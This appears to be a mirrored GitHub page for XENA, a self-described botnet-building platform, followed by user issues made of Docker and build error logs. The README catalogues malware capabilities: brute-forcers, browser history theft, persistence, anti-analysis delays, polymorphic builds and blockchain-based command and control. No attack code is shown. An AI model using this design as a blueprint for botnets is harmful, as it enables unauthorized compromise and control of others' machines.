Code Monkey home page Code Monkey logo

zarkones / xena Goto Github PK

View Code? Open in Web Editor NEW
197.0 13.0 41.0 11.47 MB

XENA is the managed remote administration platform for botnet creation & development powered by blockchain and machine learning. Aiming to provide an ecosystem which serves the bot herders. Favoring secrecy and resiliency over performance. It's micro-service oriented allowing for specialization and lower footprint. Join the community of the ultimate Botnet kit.

Home Page: https://xena.network

Go 16.21% Shell 0.80% Dockerfile 0.61% TypeScript 51.28% SCSS 0.02% Vue 10.15% JavaScript 0.37% Python 8.52% Haxe 0.74% C++ 10.80% C 0.23% Solidity 0.23% Procfile 0.04%
botnet iot-platform adonisjs nuxtjs golang typescript python gpt-3 haxe blockchain

xena's Introduction

IMPORTANT UPDATE

Our team has moved its attention to XENA v2. Version 1 of XENA (this open-source project, aka. alpha version) is composed of 5 programming languages. That has proven costly to us. We decided to rewrite it into completely new codebase, utilizing only Golang for front-end, back-end, and systems programming. We're also looking for someone to maintain XENA v1. Reach out.

Download XENA Beta: https://zarkones.itch.io/xena

Logo of the XENA project.

CONTENT MAP

  1. DISCLAIMER
  2. SUPPORT MY RESEARCH
  3. HOW TO SETUP
  4. DESCRIPTION
  5. GALLERY
  6. SERVICES AND BOT CLIENTS
  7. CONTRACTS
  8. REQUIREMENTS
  9. POSTMAN COLLECTIONS
  10. WHOAMI?

DISCLAIMER

You bear the full responsibility of your actions. This is an open-source project. This is not a commercial project. This project is not related to my current nor past employers. This is my hobby and I'm developing this tool for the sake of learning and understanding, meaning educational purpose. You shall not hold viable its creator/s nor any contributor to the project for any damage you may have done. If you contribute to the project bare in mind that your code or data may be changed in the future without a notice and that it belongs to the project, not you. This software is not allowed to be used for political purpose. This software is not allowed to be used for commercial purpose of any kind, shape or form without a written permission. Selling and redistributing this software is not permitted without a written permission. This software is not allowed to be used for training of algorithms without a written permission.

SUPPORT OUR RESEARCH

BECOME A PATREON

Monero: 87RZRSuASU4cdVXWSXvxLUQ84MpnbpxNHfkucSP9gjNE4TzCUSWT5H7fYunk7JLGPpE9QwHXjZQtaNpeyuKsB8WWLGz13ZJ

Ethereum: 0x787Ba8EF8d75489160C6687296839F947DC62736

Or you can Star this project. It is free to do so.

HOW TO SETUP

Execute inside of the root folder of the project.

sh setup.sh

Setup Video Tutorial

DESCRIPTION

XENA is the managed remote administration platform for botnet creation & development powered by blockchain and machine learning. Favoring secrecy and resiliency over performance. Aiming to provide an ecosystem which serves the bot herders. It's micro-service oriented allowing for specialization and lower footprint. Ese of deployment is enabled via Docker containers.

You interact with the botnet through an elegant dark-themed web user interface. All communication is signed with bot herder's private key, and verified by the bots using hardcoded public key.

Bot clients are really diverse, powered by: Golang, Haxe, C++ and Python3. With this in mind, bots are able to run on Windows, MacOS, Linux and FreeBSD.

GALLERY

Logo of the XENA project.

Logo of the XENA project.

Logo of the XENA project.

Logo of the XENA project.

Logo of the XENA project.

Logo of the XENA project.

SERVICES AND BOT CLIENTS

Xena-Service-Face

Web user interface powered by Nuxt.ts and TypeScript. The reason I’ve chosen the web is pure convenience, accessible instantaneously via browser. Plus that way no traces are left onto the machine while performing a penetration campaign, AND it is available through the Tor browser, AND is accessible across devices, what more could we ask for?

Xena-Service-Atila

Command & Control (C2) server powered Adonis.ts and TypeScript. In regards to the storage solution I’ve gone with Postgres, but you can easily install different SQL drivers in the Adonis framework and use with your favorite database engine. SQL driver installation process is a piece of cake. Adonis provides support for PostgreSQL, MySQL, MSSQL, MariaDB and SQLite out of the box. Its main responsibilities are keeping track of bots, providing analytics and delivering messages to the bots.

Xena-Bot-Apep

The bot client written in Golang. Why Golang you might be asking, well, cross-platform + the convenience of development. Keep in mind that I do not use Go in the professional capacity, so the code can and will be improved a lot. This can be used to drop other clients onto the environment.

Features:

  • Cross platform. Native static & dynamic binaries.
  • Executes shell command.
  • Domain Generation Alogithm. (DGA)
  • Get operating system's details.
  • Persistent on Linux. (requires root)
  • Grabs Chromium's web history. (linux)
  • Grabs Chromium's search history. (linux)
  • Search duckduckgo and return results.
  • Gets the currently active CNC from Gettr's user profile's website.
  • SSH brute-forcer.
  • Hibernate on start up for ~15 minutes to avoid analysis.
  • P2P networking.
  • Control over Discord server.

Xena-Bot-Monolitic

The bot client written in C++.

Features:

  • Execute hardcoded payload.
  • Telnet bruteforcer.
  • Obfuscated binary.

Xena-Service-Ra

The API written in Adonis.ts and TypeScript. Provides command line hacking tools via HTTP endpoints, making them available for use through the web user interface.

Features:

  • Cross platform. Requires NodeJS.
  • Nmap.
  • Sublist3r.
  • SqlMap.

Xena-Service-Pyramid

Bot builder API written in Adonis.ts and TypeScript. Leverages server-side polymorphism, thus making hash based detection useless.

Features:

  • Cross platform. Requires NodeJS.
  • Outsources building of Xena-Bot-Apep.

Xena-Bot-Anaconda

Post exploitation bot client written in Python3 (typed, but can be improved for sure). Extandable multi-processing engine allowing for writting a custom modules and usage of already available modules. That way you write separate python scripts, which are going to be executed each into its own process.

Features:

  • Cross platform. Requires Python3.
  • Modular.
  • Executes shell command.
  • MicroTik (Winbox) exploit.
  • Enumerate running processes.
  • Return Bash history.
  • Check local proxy settings.
  • Get operating system's details.

This features (below) are implemented, but not exposed. You can write modules in order to consume them.

  • Basic web parsing.
  • Take a screenshot.
  • Subdomain bruteforcing.
  • Take a camera shot.

Xena-Bot-Varvara

Bot client powered by Haxe language. It which drops other bot clients provided by Xena-Service-Pyramid. It makes them persistent, but the mechanism is super simple. It modifies the .bashrc file. Feel free to open a Pull-Request in order to add other persistency methods.

Haxe transpiles to other languages, of which at the moment are tested C++, C#, Python3.

Features:

  • Cross platform. Transpiles into multiple targets; PHP, Python, C++, C-Sharp. Meaning that native static & dynamic binaries are possible.
  • Downloads Xena-Bot-Apep from Xena-Service-Pyramid and persists it within the operating system.

Xena-Service-Sensi

Sensi, polite and brilient assistent. It exists to supervise the network and protect it. Utilizes GPT-2 and GPT-3 (if you have a key). At the moment GPT-2 is not released, it needs some work and training. You can utilize GPT-3 in the current version.

Features:

  • Cross platform. Requires NodeJS.
  • GPT 3 gateway. Allowing you to chat with AI in the web user interface.

CONTRACTS

Xena-Contract-Botchain

This contract allows the bootstrapping of the botnet by acting as a smart contract on Ethereum blockchain. The creator of the contract has the highest authority and is able to assign an administrator of the contract and reassign it. Only the administrator can change the currently promoted configuration, messages and sponsored peers.

The contract's creator cannot change any properties of the contract apart from the currently active administrator. That way we avoid a single point of failure, where the creator connects to the blockchain and discloses his IP address thus risk getting attacked and his wallet key stolen. Also all configuration, messages and sponsored peers MUST be signed in order to lower the attack area. Thus a successful takeover of the contract requires the creator's wallet key and the bot master's private key.

There is no need to publish this contract on a private blockchain.

REQUIREMENTS

  • Docker

And an operating system of your choice. The framework is fully cross-platform.

  • Windows can support everything native or through WSL support.
  • Linux distributions can easily meet all requirements. This is the recommended environment, but it's not a requirement.
  • MacOS is a capable Unix family member, I've never used it, but I assume the platform should run without a major issue.
  • FreeBSD's story goes the same way as for MacOS, never used it, but I do not see a reason why it couldn't support the framework.

POSTMAN COLLECTIONS

I’ve exported my collections from postman which I use for development purpose. That should allow you to better understand how to create your own bot for XENA platform. You can read Xena-Bot-Apep for reference.

Collections may be found in a JSON format under ./postman-collections

Environment veriables:

xena-atila-url === http://127.0.0.1:60666

xena-pyrmid-url === http://127.0.0.1:60667

xena-ra-url === http://127.0.0.1:60696

xena-sensi-url === http://127.0.0.1:60699

Social links:

  1. YouTube
  2. Medium
  3. GitHub
  4. Twitter

xena's People

Contributors

duxv avatar hornetfighter515 avatar zarkones avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

xena's Issues

./setup_linux_32bit giving errors

┌──(root💀cyberwarrior)-[~/XENA]
└─# ./setup_linux_32bit 2 ⨯
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres. exit status 125. Failed to initialize xena-atila-postgres container

Seems like something went wrong.
Please, submit a ticket at: https://github.com/zarkones/XENA/issues

panic: DOCKER_INIT_ATILA_FAILED

goroutine 1 [running]:
main.main()
/home/windowsx/Desktop/xena/tools/xena-tool-automagic/main.go:60 +0x119f

setup_linux_64bit not open

I open the file, it doesn't open your program is not working.

my os kali linux 64bit

writes: cannot execute binary file: Exec format error

Another issue on run setup.sh

So i basically have always the same error when i run setup.sh

Error response from daemon: network with name xena already exists
docker: Error response from daemon: Conflict. The container name "/xena-atila-postgres" is already in use by container "67908ed3281df4f70d154e3d9df4e4cce1e13783145174b85ae67044476168dc". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Sending build context to Docker daemon  159.7kB
Step 1/30 : FROM node:16-alpine as builder
 ---> 0e1547c0f4a4
Step 2/30 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 3/30 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 4/30 : COPY package.json ./
 ---> Using cache
 ---> 8861082d9b21
Step 5/30 : RUN yarn install
 ---> Using cache
 ---> 4423052dfd0c
Step 6/30 : COPY . .
 ---> Using cache
 ---> 19d05a6b15f6
Step 7/30 : RUN yarn build
 ---> Using cache
 ---> cb1820e26d5a
Step 8/30 : FROM node:16-alpine as installer
 ---> 0e1547c0f4a4
Step 9/30 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 10/30 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 11/30 : COPY package.json ./
 ---> Using cache
 ---> 8861082d9b21
Step 12/30 : RUN yarn install --prod=true --frozen-lockfile
 ---> Using cache
 ---> aed4ecf97d12
Step 13/30 : FROM node:16-alpine
 ---> 0e1547c0f4a4
Step 14/30 : ENV NODE_ENV production
 ---> Using cache
 ---> 261d510d8d88
Step 15/30 : ENV DB_CONNECTION pg
 ---> Using cache
 ---> a788c30f5395
Step 16/30 : ENV PG_PORT 5432
 ---> Using cache
 ---> d5fa82d0abdf
Step 17/30 : ENV PG_USER postgres
 ---> Using cache
 ---> cedcfff2337e
Step 18/30 : ENV PG_DB_NAME xena-atila
 ---> Using cache
 ---> a5684157b4f7
Step 19/30 : ENV DRIVE_DISK local
 ---> Using cache
 ---> 8bafee146e5b
Step 20/30 : ENV ENV_SILENT true
 ---> Using cache
 ---> 3b020dc8255d
Step 21/30 : ENV HOST 0.0.0.0
 ---> Using cache
 ---> e98071004af0
Step 22/30 : ENV PORT 60666
 ---> Using cache
 ---> d86ced70f8f4
Step 23/30 : USER node
 ---> Using cache
 ---> d4ffb91cf824
Step 24/30 : RUN mkdir -p /home/node/app/
 ---> Using cache
 ---> 0bbb1c35ba8e
Step 25/30 : WORKDIR /home/node/app
 ---> Using cache
 ---> 5fbf1fd9dc8d
Step 26/30 : COPY --from=builder /home/node/build ./build
 ---> Using cache
 ---> 12c18d69aef8
Step 27/30 : COPY --from=installer /home/node/node_modules ./node_modules
 ---> Using cache
 ---> 92bbd8609980
Step 28/30 : COPY package.json ./
 ---> Using cache
 ---> 3db0f1f9e068
Step 29/30 : EXPOSE 60666
 ---> Using cache
 ---> 7cf51b339fac
Step 30/30 : CMD [ "node", "./build/server.js" ]
 ---> Using cache
 ---> 0694cd47738c
Successfully built 0694cd47738c
Successfully tagged xena-service-atila:latest
docker: Error response from daemon: Conflict. The container name "/xena-atila" is already in use by container "67c5a0c407a43c7c32801a6ecb4da82c57147ceba1d51f388e9adb6f9e0f6ee6". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Error response from daemon: Container 67c5a0c407a43c7c32801a6ecb4da82c57147ceba1d51f388e9adb6f9e0f6ee6 is not running
docker: Error response from daemon: Conflict. The container name "/xena-pyramid-postgres" is already in use by container "bfba86fd7664c8f0a5139f6a6ba3e48ec1a1a2723ac83abd49de22e7155a96aa". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Sending build context to Docker daemon  141.8kB
Step 1/32 : FROM node:16-alpine as builder
 ---> 0e1547c0f4a4
Step 2/32 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 3/32 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 4/32 : COPY package*.json ./
 ---> Using cache
 ---> 816861e48509
Step 5/32 : RUN yarn install
 ---> Using cache
 ---> 9b8c304f04c0
Step 6/32 : COPY . .
 ---> Using cache
 ---> 9d5e5c95cbb8
Step 7/32 : RUN yarn build
 ---> Using cache
 ---> e9de3d1d8149
Step 8/32 : FROM node:16-alpine as installer
 ---> 0e1547c0f4a4
Step 9/32 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 10/32 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 11/32 : COPY package*.json ./
 ---> Using cache
 ---> 816861e48509
Step 12/32 : RUN yarn install --prod=true --frozen-lockfile
 ---> Using cache
 ---> ae922616f5a3
Step 13/32 : FROM node:16-alpine
 ---> 0e1547c0f4a4
Step 14/32 : ENV NODE_ENV production
 ---> Using cache
 ---> 261d510d8d88
Step 15/32 : ENV DB_CONNECTION pg
 ---> Using cache
 ---> a788c30f5395
Step 16/32 : ENV PG_PORT 5432
 ---> Using cache
 ---> d5fa82d0abdf
Step 17/32 : ENV PG_USER postgres
 ---> Using cache
 ---> cedcfff2337e
Step 18/32 : ENV PG_DB_NAME xena-pyramid
 ---> Using cache
 ---> e7e3c5e2d9c7
Step 19/32 : ENV DRIVE_DISK local
 ---> Using cache
 ---> 671da805b541
Step 20/32 : ENV ENV_SILENT true
 ---> Using cache
 ---> 62b7846cd111
Step 21/32 : ENV HOST 0.0.0.0
 ---> Using cache
 ---> c7da01b7f4c0
Step 22/32 : ENV PORT 60667
 ---> Using cache
 ---> 3d9b5062dd9c
Step 23/32 : ENV BUILD_DESTINATION ./xena-pyramid-software-builds/
 ---> Using cache
 ---> 58bb336ed80e
Step 24/32 : RUN apk update && apk add git go
 ---> Using cache
 ---> b98147e557f1
Step 25/32 : USER node
 ---> Using cache
 ---> 02472e95e7fc
Step 26/32 : RUN mkdir -p /home/node/app/
 ---> Using cache
 ---> a17b03649c7d
Step 27/32 : WORKDIR /home/node/app
 ---> Using cache
 ---> 3636779b9c9e
Step 28/32 : COPY --from=builder /home/node/build ./build
 ---> Using cache
 ---> 7fa4b0cdc475
Step 29/32 : COPY --from=installer /home/node/node_modules ./build/node_modules
 ---> Using cache
 ---> 2384c4c987e4
Step 30/32 : COPY package*.json ./build
 ---> Using cache
 ---> b5a4edeeebb3
Step 31/32 : EXPOSE 60667
 ---> Using cache
 ---> d5a0e79f03e3
Step 32/32 : CMD [ "node", "./build/server.js" ]
 ---> Using cache
 ---> cfade54bb23c
Successfully built cfade54bb23c
Successfully tagged xena-service-pyramid:latest
docker: Error response from daemon: Conflict. The container name "/xena-pyramid" is already in use by container "d7e7cbcad553a76206ae4dd851ce4c5fcec33b04b512373afa4674c80ce4c1a2". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Error response from daemon: Container d7e7cbcad553a76206ae4dd851ce4c5fcec33b04b512373afa4674c80ce4c1a2 is not running
docker: Error response from daemon: Conflict. The container name "/xena-domena-postgres" is already in use by container "dcdc0f18e5d9adbeadb00dc967eec173ea53410f9997acf89cbeadc8946a5e83". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Sending build context to Docker daemon  100.9kB
Step 1/30 : FROM node:16-alpine as builder
 ---> 0e1547c0f4a4
Step 2/30 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 3/30 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 4/30 : COPY package.json ./
 ---> Using cache
 ---> b4f136614af6
Step 5/30 : RUN yarn install
 ---> Using cache
 ---> e0b5fcac9f5f
Step 6/30 : COPY . .
 ---> Using cache
 ---> 81588ff71d16
Step 7/30 : RUN yarn build
 ---> Using cache
 ---> 2a650d3048c9
Step 8/30 : FROM node:16-alpine as installer
 ---> 0e1547c0f4a4
Step 9/30 : RUN apk add --no-cache git
 ---> Using cache
 ---> 5cd8b54fc8f8
Step 10/30 : WORKDIR /home/node
 ---> Using cache
 ---> 9f00ea9f2e4a
Step 11/30 : COPY package.json ./
 ---> Using cache
 ---> b4f136614af6
Step 12/30 : RUN yarn install --prod=true --frozen-lockfile
 ---> Using cache
 ---> 74eba5492edf
Step 13/30 : FROM node:16-alpine
 ---> 0e1547c0f4a4
Step 14/30 : ENV NODE_ENV production
 ---> Using cache
 ---> 261d510d8d88
Step 15/30 : ENV DB_CONNECTION pg
 ---> Using cache
 ---> a788c30f5395
Step 16/30 : ENV PG_PORT 5432
 ---> Using cache
 ---> d5fa82d0abdf
Step 17/30 : ENV PG_USER postgres
 ---> Using cache
 ---> cedcfff2337e
Step 18/30 : ENV PG_DB_NAME xena-domena
 ---> Using cache
 ---> c781a9e5a68d
Step 19/30 : ENV DRIVE_DISK local
 ---> Using cache
 ---> c5d2aa57b89c
Step 20/30 : ENV ENV_SILENT true
 ---> Using cache
 ---> 3a86185cab35
Step 21/30 : ENV HOST 0.0.0.0
 ---> Using cache
 ---> eb7be060a991
Step 22/30 : ENV PORT 60798
 ---> Using cache
 ---> 80adda3c8ba4
Step 23/30 : USER node
 ---> Using cache
 ---> af2c4f12a223
Step 24/30 : RUN mkdir -p /home/node/app/
 ---> Using cache
 ---> 610e9221f003
Step 25/30 : WORKDIR /home/node/app
 ---> Using cache
 ---> 2d8a8af2ce43
Step 26/30 : COPY --from=builder /home/node/build ./build
 ---> Using cache
 ---> 22d452151995
Step 27/30 : COPY --from=installer /home/node/node_modules ./node_modules
 ---> Using cache
 ---> 6c7ed1529629
Step 28/30 : COPY package.json ./
 ---> Using cache
 ---> 9b1e22c80baf
Step 29/30 : EXPOSE 60798
 ---> Using cache
 ---> ab63f0e50397
Step 30/30 : CMD [ "node", "./build/server.js" ]
 ---> Using cache
 ---> 65b3aba44aa5
Successfully built 65b3aba44aa5
Successfully tagged xena-service-domena:latest
docker: Error response from daemon: Conflict. The container name "/xena-domena" is already in use by container "75b5232377fa26a7a276ecc2c595ead7d4ca2a6e1aa71fbb55744d2d3a9a7d74". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.
Error response from daemon: Container 75b5232377fa26a7a276ecc2c595ead7d4ca2a6e1aa71fbb55744d2d3a9a7d74 is not running
Sending build context to Docker daemon  18.94kB
Step 1/6 : FROM golang:1.17.0-alpine
 ---> 5a6ac0d9a8df
Step 2/6 : RUN mkdir /app
 ---> Using cache
 ---> 6f080fe538d3
Step 3/6 : ADD . /app
 ---> Using cache
 ---> 0e835f317b4d
Step 4/6 : WORKDIR /app
 ---> Using cache
 ---> c276d64b3906
Step 5/6 : RUN go build -ldflags="-w -s" -o main .
 ---> Running in 444cb1988e0f
# main
./atila.go:18:42: undefined: atilaHost
./atila.go:64:41: undefined: atilaHost
./atila.go:109:42: undefined: atilaHost
./atila.go:155:42: undefined: atilaHost
./domena.go:18:42: undefined: domenaHost
./main.go:12:33: undefined: port
The command '/bin/sh -c go build -ldflags="-w -s" -o main .' returned a non-zero code: 2
Sending build context to Docker daemon  6.976MB
Step 1/12 : FROM node:16-alpine
 ---> 0e1547c0f4a4
Step 2/12 : RUN mkdir -p /usr/src/xena-service-face
 ---> Using cache
 ---> 99d288115112
Step 3/12 : WORKDIR /usr/src/xena-service-face
 ---> Using cache
 ---> 436a44f5c70b
Step 4/12 : RUN apk update && apk upgrade
 ---> Using cache
 ---> 3eaa8087fe18
Step 5/12 : RUN apk add git
 ---> Using cache
 ---> 8bd91be42345
Step 6/12 : COPY . /usr/src/xena-service-face/
 ---> Using cache
 ---> 50aaa88a7d91
Step 7/12 : RUN npm install
 ---> Using cache
 ---> 0748ce2b6fa9
Step 8/12 : RUN npm run build
 ---> Running in dbe3833ef67f

> [email protected] build
> nuxt build


 WARN  [email protected] is installed but ^4.46.0 is expected


 WARN  No .env file found in /usr/src/xena-service-face.

ℹ Production build
ℹ Bundling only for client side
ℹ Target: static
ℹ Using components loader to optimize imports
ℹ Discovered Components: .nuxt/components/readme.md
✔ Builder initialized
✔ Nuxt files generated

 FATAL  Rule can only have one resource source (provided resource and test + include + exclude) in {
  "use": [
    {
      "loader": "/usr/src/xena-service-face/node_modules/babel-loader/lib/index.js",
      "options": {
        "configFile": false,
        "babelrc": false,
        "cacheDirectory": false,
        "envName": "client",
        "presets": [
          [
            "/usr/src/xena-service-face/node_modules/@nuxt/babel-preset-app/src/index.js",
            {
              "corejs": {
                "version": 3
              }
            }
          ]
        ]
      },
      "ident": "clonedRuleSet-4[0].rules[0].use[0]"
    }
  ]
}

  "use": [
  {
  "loader": "node_modules/babel-loader/lib/index.js",
  "options": {
  "configFile": false,
  "babelrc": false,
  "cacheDirectory": false,
  "envName": "client",
  "presets": [
  [
  "node_modules/@nuxt/babel-preset-app/src/index.js",
  {
  "corejs": {
  "version": 3
  }
  }
  ]
  ]
  },
  "ident": "clonedRuleSet-4[0].rules[0].use[0]"
  }
  ]
  }
  at checkResourceSource (node_modules/@nuxt/webpack/node_modules/webpack/lib/RuleSet.js:167:11)
  at Function.normalizeRule (node_modules/@nuxt/webpack/node_modules/webpack/lib/RuleSet.js:198:4)
  at node_modules/@nuxt/webpack/node_modules/webpack/lib/RuleSet.js:110:20
  at Array.map (<anonymous>)
  at Function.normalizeRules (node_modules/@nuxt/webpack/node_modules/webpack/lib/RuleSet.js:109:17)
  at new RuleSet (node_modules/@nuxt/webpack/node_modules/webpack/lib/RuleSet.js:104:24)
  at new NormalModuleFactory (node_modules/@nuxt/webpack/node_modules/webpack/lib/NormalModuleFactory.js:115:18)
  at Compiler.createNormalModuleFactory (node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:636:31)
  at Compiler.newCompilationParams (node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:653:30)
  at Compiler.compile (node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:661:23)
  at node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:321:11
  at Compiler.readRecords (node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:529:11)
  at node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:318:10
  at AsyncSeriesHook.eval [as callAsync] (eval at create (node_modules/@nuxt/webpack/node_modules/tapable/lib/HookCodeFactory.js:33:10), <anonymous>:15:1)
  at AsyncSeriesHook.lazyCompileHook (node_modules/@nuxt/webpack/node_modules/tapable/lib/Hook.js:154:20)
  at node_modules/@nuxt/webpack/node_modules/webpack/lib/Compiler.js:315:19


╭──────────────────────────────────────────────────────────────────────────────╮│                                                                              ││   ✖ Nuxt Fatal Error                                                         ││                                                                              ││   Error: Rule can only have one resource source (provided resource and       ││   test +                                                                     ││   include + exclude) in {                                                    ││   "use": [                                                                   ││   {                                                                          ││   "loader":                                                                  ││   "/usr/src/xena-service-face/node_modules/babel-loader/lib/index.js",       ││   "options": {                                                               ││   "configFile": false,                                                       ││   "babelrc": false,                                                          ││   "cacheDirectory": false,                                                   ││   "envName": "client",                                                       ││   "presets": [                                                               ││   [                                                                          ││   "/usr/src/xena-service-face/node_modules/@nuxt/babel-preset-app/src/inde   ││   x.js",                                                                     ││   {                                                                          ││   "corejs": {                                                                ││   "version": 3                                                               ││   }                                                                          ││   }                                                                          ││   ]                                                                          ││   ]                                                                          ││   },                                                                         ││   "ident": "clonedRuleSet-4[0].rules[0].use[0]"                              ││   }                                                                          ││   ]                                                                          ││   }                                                                          ││                                                                              │╰──────────────────────────────────────────────────────────────────────────────╯

The command '/bin/sh -c npm run build' returned a non-zero code: 1

Tested again on my ubuntu x64, Still problems, I understanf it is still outgoing development

root@MacBook:~/XENA# ./setup_linux_64bit
Welcome to XENA!
Setup process initiated. This may take some time.
Creating a key pair. Created.
Checking Docker. Installed.
Creating a docker network. Created.
Creating two containers: xena-atila, xena-atila-postgres. Success.
Creating two containers: xena-domena, xena-domena-postgres. Success.
Creating two containers: xena-pyramid, xena-pyramid-postgres. Success.
Creating one container: xena-gateway. Success.
Creating one container: xena-Face.

      • LOGS START - - -
              • XENA_ATILA - - - - - - -
                {"level":30,"time":1646303669652,"pid":1,"hostname":"2ed9d1c216b2","name":"atila","msg":"started server on 0.0.0.0:60666"}
              • XENA_ATILA - - - - - - -
              • XENA_ATILA_POSTGRES - - - - - - -
                The files belonging to this database system will be owned by user "postgres".
                This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting dynamic shared memory implementation ... posix
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting default time zone ... Etc/UTC
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
syncing data to disk ... ok

Success. You can now start the database server using:

pg_ctl -D /var/lib/postgresql/data -l logfile start

waiting for server to start....2022-03-03 10:31:43.104 UTC [47] LOG: starting PostgreSQL 14.2 (Debian 14.2-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
2022-03-03 10:31:43.106 UTC [47] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2022-03-03 10:31:43.116 UTC [48] LOG: database system was shut down at 2022-03-03 10:31:42 UTC
2022-03-03 10:31:43.123 UTC [47] LOG: database system is ready to accept connections
done
server started
CREATE DATABASE

/usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*

2022-03-03 10:31:43.423 UTC [47] LOG: received fast shutdown request
waiting for server to shut down....2022-03-03 10:31:43.425 UTC [47] LOG: aborting any active transactions
2022-03-03 10:31:43.433 UTC [47] LOG: background worker "logical replication launcher" (PID 54) exited with exit code 1
2022-03-03 10:31:43.433 UTC [49] LOG: shutting down
2022-03-03 10:31:43.447 UTC [47] LOG: database system is shut down
done
server stopped

PostgreSQL init process complete; ready for start up.

              • XENA_DOMENA - - - - - - -
                {"level":30,"time":1646303862766,"pid":1,"hostname":"0b6eadcee1a6","name":"xena-service-domena","msg":"started server on 0.0.0.0:60798"}
              • XENA_DOMENA_POSTGRES - - - - - - -
                The files belonging to this database system will be owned by user "postgres".
                This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting dynamic shared memory implementation ... posix
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting default time zone ... Etc/UTC
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
syncing data to disk ... ok

Success. You can now start the database server using:

pg_ctl -D /var/lib/postgresql/data -l logfile start

waiting for server to start....2022-03-03 10:34:30.560 UTC [47] LOG: starting PostgreSQL 14.2 (Debian 14.2-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
2022-03-03 10:34:30.566 UTC [47] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2022-03-03 10:34:30.577 UTC [48] LOG: database system was shut down at 2022-03-03 10:34:30 UTC
2022-03-03 10:34:30.587 UTC [47] LOG: database system is ready to accept connections
done
server started
CREATE DATABASE

/usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*

2022-03-03 10:34:30.965 UTC [47] LOG: received fast shutdown request
waiting for server to shut down....2022-03-03 10:34:30.967 UTC [47] LOG: aborting any active transactions
2022-03-03 10:34:30.974 UTC [47] LOG: background worker "logical replication launcher" (PID 54) exited with exit code 1
2022-03-03 10:34:30.975 UTC [49] LOG: shutting down
2022-03-03 10:34:30.988 UTC [47] LOG: database system is shut down
done
server stopped

PostgreSQL init process complete; ready for start up.

              • XENA_PYRAMID - - - - - - -
                {"level":30,"time":1646304028329,"pid":1,"hostname":"e8a3285c6ae5","name":"xena-pyramid","msg":"started server on 0.0.0.0:60667"}
              • XENA_PYRAMID_POSTGRES - - - - - - -
                The files belonging to this database system will be owned by user "postgres".
                This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting dynamic shared memory implementation ... posix
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting default time zone ... Etc/UTC
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
syncing data to disk ... ok

Success. You can now start the database server using:

pg_ctl -D /var/lib/postgresql/data -l logfile start

